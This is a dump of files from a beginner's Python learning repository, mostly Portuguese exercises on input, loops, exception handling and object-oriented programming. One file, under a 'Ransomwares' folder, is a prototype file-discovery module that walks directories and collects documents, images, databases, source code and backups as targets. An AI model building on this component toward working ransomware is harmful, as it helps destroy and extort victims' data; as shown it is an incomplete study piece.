if(i%2==0):\n continue\n if(i>5):\n break\n print(i)\nelse:\n print(\"else\")\nprint(\"fim\")\n" }, { "alpha_fraction": 0.6125907897949219, "alphanum_fraction": 0.6464890837669373, "avg_line_length": 33.41666793823242, "blob_id": "fc4f8ec72bc81869bf8ef0f4ff193eda238d52fa", "content_id": "309d1ebe81bd12de2ed7aecc6605909f57409022", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 420, "license_type": "permissive", "max_line_length": 76, "num_lines": 12, "path": "/Curso-Em-Video/M2/ex40.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn1 = float(input('Digite a primeira nota: '))\nn2 = float(input('Digite a segunda nota: '))\n\nmedia = (n1+n2)/2\n\nif media < 5.0:\n print(f'A média do aluno foi {media} portanto está reprovado!')\nelif media >= 5.0 and media < 6.9:\n print(f'A média do aluno foi {media} portanto ele está de recuperação!')\nelif media >= 7.0:\n print(f'A media do aluno foi:{media} ele está aprovado! ')\n" }, { "alpha_fraction": 0.5096153616905212, "alphanum_fraction": 0.5432692170143127, "avg_line_length": 22.11111068725586, "blob_id": "11aa67fc3ffe6165874c8c253327b57018af15bc", "content_id": "c89458539e150b29aa9c0a5a9787801a4620cddd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 209, "license_type": "permissive", "max_line_length": 49, "num_lines": 9, "path": "/Curso-Em-Video/M2/ex61.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\na1 =int(input('Digite o primeiro termo da PA: '))\nr =int(input('Digite a razão: '))\ntermo = a1\ncont = 1\nwhile cont<= 10:\n print(f'{termo} => ', end=' ')\n termo += r\n cont +=1\n" }, { "alpha_fraction": 0.5885714292526245, "alphanum_fraction": 0.6228571534156799, "avg_line_length": 34, "blob_id": "49e83e16fe5db32c22d04b93d20a8e78c5b32b7b", "content_id": "b6112df5ffe76c563bd9d8f7616e251d085a47a7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 176, "license_type": "permissive", "max_line_length": 45, "num_lines": 5, "path": "/Curso-Em-Video/M1/ex07.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn1 = int(input(\"Digite a primeira nota: \"))\nn2 = int(input(\"Digite a segunda nota: \"))\nmedia = (n1+n2)/2\nprint(f'A média final do aluno foi: {media}')\n" }, { "alpha_fraction": 0.5963302850723267, "alphanum_fraction": 0.5963302850723267, "avg_line_length": 26.25, "blob_id": "520b35f769343708c145812b8f69b550ba16eee8", "content_id": "f5af39997404de4051ff64c2ea83184cf064d83d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 436, "license_type": "permissive", "max_line_length": 53, "num_lines": 16, "path": "/PythonPOO/Composicao/classes.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "class Cliente:\n def __init__(self, nome, idade):\n self.nome = nome\n self.idade = idade\n self.endereco = []\n\n def insere_enderecos(self, cidade, estado):\n self.endereco.append(Endereco(cidade,estado))\n\n def lista_enderecos(self):\n for endereco in self.endereco:\n pass\nclass Endereco:\n def __init__(self, cidade, estado):\n self.cidade = cidade\n self.estado = estado\n" }, { "alpha_fraction": 0.5584415793418884, "alphanum_fraction": 0.6883116960525513, "avg_line_length": 25, "blob_id": "28c5e0d971b5006ba9b8ad94c939221eb153f20a", "content_id": "aa8e4be7810f45ebc0dcd76eddfcc780818fd521", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 77, "license_type": "permissive", "max_line_length": 38, "num_lines": 3, "path": "/Curso-Em-Video/M3/ex112.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import mod112\np = float(input('Digite o preco: R$'))\nmod112.resumo(p, 80 ,35)" }, { "alpha_fraction": 0.7166666388511658, "alphanum_fraction": 0.7166666388511658, "avg_line_length": 29.100000381469727, "blob_id": "c9631d56de635be5d34f88058e698a8e4537220d", "content_id": "0e0c41a24c8d95773a29b57af0a28d0633cd0d8a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 304, "license_type": "permissive", "max_line_length": 57, "num_lines": 10, "path": "/Curso-Em-Video/M3/ex114.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import urllib\nimport urllib.request\n\ntry:\n site = urllib.request.urlopen('http://pudim.com.br/')\nexcept urllib.error.URLError:\n print('O site Pudm não está disponivel no momento. ')\nelse:\n print('Consegui acessar o site pudim com sucesso!')\n print(site.read()) #lê o conteúdo HTML do site" }, { "alpha_fraction": 0.6843658089637756, "alphanum_fraction": 0.6858407258987427, "avg_line_length": 31.285715103149414, "blob_id": "826eeac5f9fc49e6b0d8b2958f474233d05edb28", "content_id": "6f4886fe7f1f914149213456edb9eb22bfe8a8d4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1375, "license_type": "permissive", "max_line_length": 122, "num_lines": 42, "path": "/Curso-Em-Video/M3/tratando_erros.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\n# Tratamento de erros\n- Erros de semantica são extremamente comuns, devido a erros ou mau uso do programa por parte do usúario ou por desatenção\ndo programador, para resolver isso usamos o \"try\" da seguinte maneira:\n\n try:\n codigo x\n except:\n retorno\n\n- Onde o código x é o bloco que o programa tentará execultar e o retorno é a menssagem de erro para o usuario, isso\nque o programa \"trave\" e fique inútilizado para o usúario\n\n\"\"\"\n# Exemplo\n\"\"\"\ntry:\n a = int(input('Numerador: '))\n b = int(input('Denominador: '))\n r = a / b\nexcept Exception as erro: # podemos ter varios exeptions para varios tipos de erros\n print(f'Problema encontrado foi: {erro.__class__}')\nelse:\n print(f'O resultado é {r}')\nfinally: # -> o que vai ocorrer sempre independente de ocorrido um erro ou não\n print('Volte sempre!')\n\"\"\"\n# Exemplo2\ntry:\n a = int(input('Numerador: '))\n b = int(input('Denominador: '))\n r = a / b\nexcept (ValueError, TypeError):\n print(f'Tivemos um problema com os tipos de dados que você digitou!')\nexcept(ZeroDivisionError):\n print('Não é possivel dividir por zero!')\nexcept KeyboardInterrupt:\n print('O usúario preferiu não informar os dados! ')\nelse:\n print(f'O resultado é {r:1.f}')\nfinally: # -> o que vai ocorrer sempre independente de ocorrido um erro ou não\n print('Volte sempre!')\n" }, { "alpha_fraction": 0.5492424368858337, "alphanum_fraction": 0.5871211886405945, "avg_line_length": 28.33333396911621, "blob_id": "ce0a1c743e05a648e0a5f1bc2c159870531fc2cd", "content_id": "1c741e8a11f5448b30090f27d461cd096c24418a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 266, "license_type": "permissive", "max_line_length": 59, "num_lines": 9, "path": "/Curso-Em-Video/M1/ex31.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nkm = int(input('Digite a distancia da viagem em Km: '))\n\nif km < 200:\n preco = km * 0.50\n print(f'O valor total da viagem de {km}Km é R${preco}')\nelse:\n preco = km * 0.45\n print(f'O valor total da viagem de {km}Km é R${preco}')\n" }, { "alpha_fraction": 0.7111111283302307, "alphanum_fraction": 0.7666666507720947, "avg_line_length": 23.636363983154297, "blob_id": "aecda206fbcabffff683074cdbca8aa89d729d93", "content_id": "92d4a881c7e584de5bf84b7d8fbf318b0ca3538a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 270, "license_type": "permissive", "max_line_length": 44, "num_lines": 11, "path": "/PythonPOO/Agregação /main.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from classes import CarrinhoCompras, Produto\ncarrinho = CarrinhoCompras()\n\np1 = Produto('Camisa',50)\np2 = Produto('iphone',10000)\np13 = Produto('Caneca',20)\n\ncarrinho.inserir_produto(p1)\ncarrinho.inserir_produto(p2)\ncarrinho.lista_produto()\nprint(carrinho.soma_total())" }, { "alpha_fraction": 0.575272262096405, "alphanum_fraction": 0.5816783905029297, "avg_line_length": 47.78125, "blob_id": "7d8b561375a70d4fffcdb611c16001aae0e73025", "content_id": "32867f95ad44e1ff067ff77e262a9b813b697fdd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1568, "license_type": "permissive", "max_line_length": 117, "num_lines": 32, "path": "/Ransomwares/ex01/discovery.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3.7\n#prototipo\nimport os\ndef discover(initial_path):\n extensions =[#'exe,', 'dll', 'so', 'rpm', 'deb', 'vmlinuz', 'img' Arquivos do Sitema\n\t'jpg','jpeg','bmp','gif','png','svg','psd','raw', # imagens\n\t'mp3','mp4','m4a','aac','ogg', 'flac','wav', 'wma','aiff', 'ape', # Audios\n\t'avi','flv','m4v','mkv', 'mov','mpg', 'mpeg', 'wmv', 'swf', '3gp', #Vídeos\n\t'doc','docx','xls','xlsx','ppt','pptx', # Microsoft office OpenOffice, Adobe, Latex, Markdown, etc\n\t'odt','odp','ods','txt','rtf','tex','pdf','epub','md','yml','yaml','json','xml','csv', # dados estruturados e config\n\t'db','sql','dbf','mdb','iso', # bancos de dados e imagens de disco\n\t'html','htm','xhtml','php','asp','aspx','js','jsp','css', # tecnologias web\n\t'c','cpp','cxx','h','hpp','hxx', # Código fonte C e C++\n\t'java','class','jar', # Códigos fonte Java\n\t'ps','bat','vb', # Scripts de sistemas windows\n\t'awk','sh','cgi','pl','ada','swift', # Scripts de sistemas unix\n\t'go','py','pyc','bf','coffee', # Outros tipos de códigos fonte\n\t'zip','tar','tgz','bz2','7z','rar','bak' # Arquivos compactados e Backups\n ]\n\n for dirpath, dirs, files in os.walk(initial_path):\n for _file in files:\n absolute_path = os.path.abspath(os.path.join(dirpath,_file))\n ext = absolute_path.split\n ext = absolute_path.split('.')[-1]\n if ext in extensions:\n yield absolute_path\n# Isso só execultado quando você executa o módulo diretamente\nif __name__ =='__main__':\n x - discover(os.getcwd())\n for i in x:\n print(i)\n" }, { "alpha_fraction": 0.4307692348957062, "alphanum_fraction": 0.44999998807907104, "avg_line_length": 24.899999618530273, "blob_id": "66303b986436c7a61439ee0bf143b5c5c2d7f5e7", "content_id": "323b3bc27d0f45f991b54aaa7a7c7bd73f4631e2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "permissive", "max_line_length": 55, "num_lines": 10, "path": "/Curso-Em-Video/M2/ex67.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nwhile True:\n n =int(input('Quer ver a tabuada de qual número?'))\n if n == 0:\n print('O programa ENCERROU!')\n break\n else:\n for i in range(0,11):\n m = i * n\n print(f'{i} X {n} = {m}')\n\n" }, { "alpha_fraction": 0.46482759714126587, "alphanum_fraction": 0.5103448033332825, "avg_line_length": 25.851852416992188, "blob_id": "0aa4bf534e38526f7563a7cc728bca05f4f715a7", "content_id": "1e7266ba9a0775d1edb7d6fa19f95e802b808db8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 728, "license_type": "permissive", "max_line_length": 65, "num_lines": 27, "path": "/Curso-Em-Video/M3/ex87.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nmatrix = [[0,0,0],[0,0,0],[0,0,0]]\npair = 0\nodd = 0\nscol = 0\nfor l in range(0,3):\n for c in range(0,3):\n matrix[l][c] = int(input(f'Digite o valor [{l}][{c}]: '))\n if matrix[l][c] % 2 ==0:\n pair +=matrix[l][c]\n else:\n odd +=matrix[l][c]\nfor l in range(0,3):\n for c in range(0,3):\n print(f'[{matrix[l][c]:^5}]',end ='')\n print()\nprint(f'A soma dos pares é: {pair}')\n\nfor l in range(0,3):\n scol +=matrix[l][2]\nprint(f'A soma dos elementos da terceira coluna é: {scol}')\nfor c in range(0,3):\n if c ==0:\n hign = matrix[1][c]\n elif matrix[1][c] > hign:\n hign = matrix[1][c]\nprint(f'O maior valor da segunda linha é {hign}')\n" }, { "alpha_fraction": 0.6320754885673523, "alphanum_fraction": 0.6426886916160583, "avg_line_length": 20.769229888916016, "blob_id": "3f88eb7542d325ccd30ca095d3eec10580a0731b", "content_id": "8ccd9ee474027a4d6285c9c7b8f6006c9bb6097b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 854, "license_type": "permissive", "max_line_length": 56, "num_lines": 39, "path": "/Geek-University/Seção3/Recebendo_dados.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\n# Recebendo dados dos usúario\n\ninput -> Todo dado receebido via input é do tipo string\n\nEm python, string é tuod que estiver em:\n - Aspas Simples;\n - Aspas duplas;\n - Aspas simples triplas;\n - Aspas duplas triplas;\n\nExemplos:\n - Aspas Simples -> 'Anjelina jolie'\n - Aspas Duplas -> \"angelina\"\n\"\"\"\n\n# Entrada de dados\nprint('Qual é o seu nome? ')\nnome = input() # Input -> entrada\n\n# Exemplos de print 'Antigo' 2.X\n# print('Seja bem-vindo(a) %s' %nome)\n\n# Exemplo de print 'moderno' 3.x\n# print('Seja bem-vindo(a) {0}'.format(nome))\n\n# Exemplo de print 'mais atual' 3.7\nprint(f'Seja bem vindo {nome}')\n\nprint(\"Qual é a sua idade? \")\nidade = input()\n# Processamento\n\n# Saída\n# Exemplo de print 'antigo' 2.x\n# print('A %s tem %s anos %' (nome,idade))\n\n# Exemplo de print 'moderno' 3.x\n# print('A {0} tem {1} anos'.format(nome, idade))" }, { "alpha_fraction": 0.5967742204666138, "alphanum_fraction": 0.6854838728904724, "avg_line_length": 48.79999923706055, "blob_id": "9dec54f4524f747f8d1ce0c1e6223993e682f6d5", "content_id": "d87c2b07a66d718c0d8c429b235328966d0b606d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 250, "license_type": "permissive", "max_line_length": 66, "num_lines": 5, "path": "/Curso-Em-Video/M3/ex109.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import mod109\np = float(input('Digite o preco: R$'))\nprint(f'A metade de {mod109.moeda(p)} é {mod109.metade(p, True)}')\nprint(f'O dobro de {mod109.moeda(p)} é {mod109.dobro(p, True)}')\nprint(f'Aumentanexdo 10%, temos {mod109.aumentar(p,10, True)}')" }, { "alpha_fraction": 0.6428571343421936, "alphanum_fraction": 0.651260495185852, "avg_line_length": 46.599998474121094, "blob_id": "9bb24265f2fa8487562e4c1ba11737b678f20650", "content_id": "34afcf404a7dfb77f15e5292a5a0e0df0b8b9e17", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 238, "license_type": "permissive", "max_line_length": 97, "num_lines": 5, "path": "/Curso-Em-Video/M2/ex57.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nsexo = str(input('Digite o seu sexo [M] para masculino ou [F] para feminino')).strip().upper()[0]\nwhile sexo not in 'MmFf':\n sexo =str(input('Digie um valor valido[M/F]: '))\nprint('Dado registrado com sucesso!')\n" }, { "alpha_fraction": 0.5564516186714172, "alphanum_fraction": 0.5806451439857483, "avg_line_length": 40.33333206176758, "blob_id": "e5511261e6b64f022b5763daa9fd8407ccb82b01", "content_id": "1cb6a78fc8c6d7c1e61c3a1952b805c955ff9a17", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 127, "license_type": "permissive", "max_line_length": 62, "num_lines": 3, "path": "/Curso-Em-Video/M1/ex05.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn = int(input(\"Digite um número: \"))\nprint(f'O antecessor de {n} é {n-1} e o seu sucessor é {n+1}')\n" }, { "alpha_fraction": 0.5614250898361206, "alphanum_fraction": 0.5872235894203186, "avg_line_length": 31.559999465942383, "blob_id": "dcf86a7ca350e08dccf0e4435bd3add8b6c9b346", "content_id": "52e6ed5731ba4b5e0d889fc389a9673582e50c43", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 818, "license_type": "permissive", "max_line_length": 72, "num_lines": 25, "path": "/Curso-Em-Video/M2/ex56.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ntidade = 0\nmedia = 0\nmaioridadehomem = 0\nnomevelho = 0\ntotmulher20 = 0\nfor p in range(1,5):\n nome = str(input('Digite o seu nome: '))\n idade =int(input('Digite a sua idade: '))\n sexo = str(input('\\n Qual é o seu sexo?'\n '\\n [M] => Masculino'\n '\\n [F] => Feminino')).strip()\n tidade += idade\n if p== 1 and sexo in 'Mm':\n maioridadehomem = idade\n nomevelho = nome\n if sexo in 'Mm' and idade > maioridadehomem:\n maioridadehomem = idade\n nomevelho = nome\n if sexo in 'Ff' and idade > 20:\n totmulher20 += 1\nmedia = tidade/4\nprint(f'A média de idade do grupo é de {media} anos')\nprint(f'O homem mais velho tem {maioridadehomem} e se chama{nomevelho}')\nprint(f'Ao todo são {totmulher20} com 20 anos')\n" }, { "alpha_fraction": 0.5984252095222473, "alphanum_fraction": 0.6299212574958801, "avg_line_length": 30.75, "blob_id": "9023ea33c6e1bc864e5b1fcabf68f1f30ca6c52e", "content_id": "8409c4755e689473f32e500bcec3ad1c7af26032", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 129, "license_type": "permissive", "max_line_length": 51, "num_lines": 4, "path": "/Curso-Em-Video/M1/ex10.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn = int(input('Digite a quantidade de dinheiro: '))\nd = n/5.49\nprint(f'Você pode comprar {d} dólares')\n" }, { "alpha_fraction": 0.6519284844398499, "alphanum_fraction": 0.6612182259559631, "avg_line_length": 34.735294342041016, "blob_id": "2ff0d7dccb1e859f62b0ad80989b591639283c40", "content_id": "2168227511508cfde9bf4267f3a4a54b8e5c3b5c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8614, "license_type": "permissive", "max_line_length": 190, "num_lines": 238, "path": "/Geek-University/Poo/Poo.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\nProgramação Orientada a objeto - POO\n\n- POO é um modelo de paradgma de programação que utiliza mapeamento\nde objetos do mundo real para modelos computaconais.\n\n- Paradigma de programação é a forma/metodologia utilizada para\npensar/desenvolver sistemas.\n\nPrincipais elementos da orientação a orientação a objetos.\n- Classe -> Modelo do objeto do mundo real sendo representado computacionalmente.\n- Atributo -> Características dp objeto.\n- Método -> Comportamento do objeto(funções).\n- Construtor -> método especial utilizado para criar objeto.\n- Objeto -> instancia da classe.\n\"\"\"\n\n#--------------------------------------------------------------------------------------------------------------------\n\"\"\"\nPOO - Classes \n\nEm POO , classes nada mais são do que modelos dos objetos do mundo real sendo representados \ncomputacionalmente.\n\nClasses podem conter: \n - Atributos -> Repesentam as cracteristicas dos objetos, ou seja , pelos atributos podemos representar \n computacionalmente os estados de um objeto. No caso da lâmpada, possivelmento iriamos querer saber se a\n lâmpada é de 110 ou 220 volts, se ela é branca, amarela, vermelha, ou de iutra cor, qual é a luminosidade \n dela etc.\n \n - Métodos -> Representam os comportamentos do objeto, ou seja, as ações que este objeto pode realizar no seu\n sistema. No caso da lampada por exemplo, um comportamento comum que muito provavelmento iriamos querer representar \n no nosso sistema é o de ligar e desliga a mesma.\n \nPara definirmos uma classe me python usamos a palavra reservada 'class' \n\nOBS: classes sao objetos\n\n\"\"\"\n#------------------------------------------------------------------------------------------------------------------------------------\n\"\"\"\nPOO: Atributos\nAtributos representam as características de um projeto. Ou seja, pelos atributos \nnós conseguimos representar computaconalmete os estados de um onjeto.\n\nEm python, dividios os atributos em 3 grupos:\n - Atributos de instancia;\n - Atributos de classe;\n - Atributos dinamicos;\n\n# Atributos de instancia:\n São atributos declarados dentro do método construtor.\n - Ao criarmos instâncias/Objetos de uma classe , todas as intâncias terão esses atributos. \n __ -> indica que o atributo é private\n self -> É o objeto que está usando o método\n \n# Atributos publicos e privados: \n - Atributos privados so podem ser acessados na propria classe \n - Por converção todos atributos são publicos\n\n# Atributos de Classe\n - São atributos declarados diretamente na classe, ou seja, fora do método construtor.\n geralmente já iniciamos um valor, e este valor é compartilhado entre todas as instancias da classe.\n Ou seja, ao invés de cada instância da classe ter seus próprios valores como é o caso dos atributos de \n instâncias, como os atributos de classe todas as instâncias terão o mesmo valor para o atributo. \n\n# Atributos Dinamicos\n - Um atributo de instância que pode ser criado em tempo de execução, mas o atributo dinamico será exclusivo\n da instância que o criou.\n \n\n\"\"\"\n#----------------------------------------------------------------------------------------------------------------------\n\n\n#print(help(list)) para consultas\n\n#class Lampada:\n# def __init__(self, voltagem,cor):\n# self.__voltagem = voltagem # esta linha indica que o objeto Lampada no atributo Voltagem vai receber voltagem\n# self.__cor = cor\n# self.__ligada = False\n#\n#class ContaCorrente:\n# def __init__(self,numero, limite, saldo):\n# self.numero = numero\n# self.limite = limite\n# self.saldo = saldo\n#\n#class Usuario:\n# def __init__(self,nome, email, senha):\n# self.nome = nome\n# self.email = email\n# self.senha = senha\n\n#class Produto:\n# imposto = 1.05 # Em java atributos de classe são os atributos estaticos\n# cont = 0\n# def __init__(self, nome, descricao, valor):\n# self.id = Produto.cont +1\n# self.nome = nome\n# self.descricao = descricao\n# self.valor = (valor * Produto.imposto)\n# Produto.cont = self.id\n\n#if __name__ == '__main__':\n# p1 = Produto(\"Playstation 4\",\"video-game\",13000)\n# p1.peso = \"800g\" # <- atributo de instancia!\n# print(p1.__dict__) # <- retorna todos os atributos na forma de um dicionario.\n# # o comando 'del' deleta atributos dinamicamente.\n\n\"\"\"\nPOO - Métodos\n-Meétodos(funções) -> representam os comportamentos do objeto. ou seja, as ações que este objeto poder realizar\nno seu sitema.\n\nEm python dividimos os métodos em:\n\n# Métodos de instância\n -> O método dunder init __init__ é um método especial chamado de construtor e \n sua função é construir o objeto a partir da classe.\n\n OBS: todo método em python que inicia e finaliza com duplo underline é chamdo de dunder (double Underline)\n OBS: os métodos/funções dunder em python são chamdos de métodos mágicos.\n ATENÇÂO: Não é aconselhado usar dunder em seus métodos, pois pode intereferir nas funções internas do python\n\n OBS: métodos são escritos em letras minusculas e separadas por underline quando compostos.\n\n# Métodos de classe\n -> Decorador => @classmethod\n -> Não estão vinculados a auma instancia de classe \n -> São conhecidos como métodos estaticos em outras linguagens \n -> É idela utilizalos quando a função que desejamos criar não utilizar atributos de instancia \n -> Métodos privados só podem ser utilizados dentro da sua propria classe\n\n# Métodos estaticos\n -> Decorador => @staticmethod\n -> Não recebe nada em seus parametros\n\"\"\"\nclass Lampada:\n def __init__(self, cor, voltagem, luminosidade):\n self.__cor = cor\n self.__voltagem = voltagem\n self.__luminosidade = luminosidade\n self.ligada = False\n\nclass ContaCorrente:\n\n contador = 1234\n def __init__(self, limite, saldo):\n self.__numero = ContaCorrente.contador +1\n self.__limite = limite\n self.saldo = saldo\n ContaCorrente.contador = self.__numero\n\nclass Produto:\n contador = 0\n def __init__(self, nome, descricao, valor):\n self.__id = Produto.contador +1\n self.__nome = nome\n self.__descricao = descricao\n self.__valor = valor\n Produto.contador = self.__id\n\n def desconto(self, porcentagem):\n \"\"\"Retorna o valor do produto com desconto\"\"\"\n return (self.__valor * (100 - porcentagem))/100\n\nfrom passlib.hash import pbkdf2_sha256 as cryp #criptografia char256\n\nclass Usuario:\n contador = 0\n @classmethod # e necessario para criar um método de classe\n def conta_usuarios(cls):# o parametor é a propria classe\n print(f'Temos {cls.contador} usuario(s) no sistema')\n\n @staticmethod\n def definicao():\n return 'UXR344'\n\n def __init__(self, nome, sobrenome, email, senha):\n self.__id = Usuario.contador+1\n self.__sobrenome = sobrenome\n self.__nome = nome\n self.__email = email\n self.__senha = cryp.hash(senha, rounds=200000, salt_size=16)# qual string sera incriptada, o ronund mostra quantos embaralhamentos seram feitos salt = parte do texto que será juntada\n Usuario.contador = self.__id\n print(f'Usuario criado: {self.__gera_usuario()}')\n def nome_comleto(self):\n return f'{self.__nome} {self.__sobrenome}'\n\n #verifica se a senha digitada é igual a senha registrada\n def checa_senha(self,senha):\n if cryp.verify(senha, self.__senha):\n return True\n return False\n def __gera_usuario(self):\n return self.__email.split('@')[0] #quebra a string no ponto desejado e devolve o que estava antes do parametro na posiçãozeroda lista\n\nuser = Usuario(f'Felicity','Jones','[email protected]','12345679')\n\n# MATERIAL DE ESTUDO!\n#nome = input('Informe o nome: ')\n#sobrnome =input('Informe o sobrenome: ')\n#email = input('Informe o email: ')\n#senha = input('Informe a senha: ')\n#confirma_senha = input('Confirme a senha: ')\n#\n#if senha == confirma_senha:\n# user = Usuario(nome,sobrnome,email, senha)\n#else:\n# print('Senha não confere...')\n# exit(42)\n\n#print('Usuario criado com sucesso!')\n\n#senha = input('Informe a senha para o acesso: ')\n\n#if user.checa_senha(senha):\n# print('Acesso permitido')\n#else:\n# print('Acesso Negado!')\n\n#print(f'Senha user criptografada: {user._Usuario__senha}') #Aceso errado!\n\n\n\n\n\n#p1 = Produto('Playstation','Videogame',2300)\n\n#print(p1.desconto(40))\n\n#print(user1.nome_comleto())\n\n#print(user2.nome_comleto())\n\n#print(Usuario.nome_comleto(user2))" }, { "alpha_fraction": 0.6413792967796326, "alphanum_fraction": 0.6517241597175598, "avg_line_length": 31.22222137451172, "blob_id": "64e50e4e7d59ce2832d9f55e0892ef01adf496bd", "content_id": "de24f0654c8688e5f89cae7f54aa100160c76dbd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 294, "license_type": "permissive", "max_line_length": 57, "num_lines": 9, "path": "/Curso-Em-Video/M1/ex26.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nnome = str(input(\"Digite o seu nome completo: \")).lower()\n\ncout = nome.count('a')\nfirst = nome.find('a')+1\nlast = nome.rfind('a')+1\nprint(f'Recorrencida da letra a: {cout}')\nprint(f'Posição da primeira letra a :{first}')\nprint(f'Ultima aparição da letra a: {last}')\n" }, { "alpha_fraction": 0.6024096608161926, "alphanum_fraction": 0.6345381736755371, "avg_line_length": 26.44444465637207, "blob_id": "af412e8e91518f6415a024ae35c61ebeda8d5f90", "content_id": "c80f9f9b1f494a1faf26f0f522dd0e0af4990f12", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 254, "license_type": "permissive", "max_line_length": 76, "num_lines": 9, "path": "/Curso-Em-Video/M1/ex28.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport random\nn = random.randint(0,5)\nn2=int(input(\"Tente adivinhar em qual número de 0 a 5 eu estou pensando. \"))\n\nif n == n2:\n print(f'Você acertou o número era: {n2}')\nelse:\n print(f'Você errou o número era: {n}')\n\n\n" }, { "alpha_fraction": 0.8461538553237915, "alphanum_fraction": 0.8461538553237915, "avg_line_length": 25, "blob_id": "1824d2a7bb84d4ebc4319ab7c160393bdf06453a", "content_id": "032269471a8924524198cdb7568cf267d4175648", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26, "license_type": "permissive", "max_line_length": 25, "num_lines": 1, "path": "/PythonPOO/main.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from Pessoa import Pessoa\n" }, { "alpha_fraction": 0.6056337952613831, "alphanum_fraction": 0.6118935942649841, "avg_line_length": 36.64706039428711, "blob_id": "aade5ca4727c7ab314437277229b16cbc3c39a12", "content_id": "c7ed004cdd4036f735ff0dec3f98fb82beca653b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 643, "license_type": "permissive", "max_line_length": 86, "num_lines": 17, "path": "/Curso-Em-Video/M3/ex92.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from datetime import datetime\npessoa = {}\npessoa['Nome'] = str(input('Nome: '))\npessoa['Ano_nasc'] = int(input('Ano de nascimento: '))\npessoa['Ctps'] = int(input('Carteira de trabalho (0 não tem): '))\n\nnow = datetime.now()\npessoa['idade'] = now.year - pessoa['Ano_nasc']\nif pessoa['Ctps'] !=0:\n pessoa['contratacao'] = int(input('Ano de contratação: '))\n pessoa['Salario'] = float(input('Salário: '))\n pessoa['Aposentadora'] = pessoa['idade'] + (pessoa['contratacao'] + 35) - now.year\n for k, v in pessoa.items():\n print(f'{k} tem o valor {v}')\nelse:\n for k, v in pessoa.items():\n print(f'{k} tem o valor {v}')" }, { "alpha_fraction": 0.31578946113586426, "alphanum_fraction": 0.4035087823867798, "avg_line_length": 18, "blob_id": "e06a69798266dbf0277c741f103455ff8791fcd5", "content_id": "eb78633be3e7bd2bbb1654da0a1123548321a361", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 114, "license_type": "permissive", "max_line_length": 32, "num_lines": 6, "path": "/Curso-Em-Video/M2/ex48.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ns = 0\nfor i in range(1,501):\n if i % 2 != 0 and i % 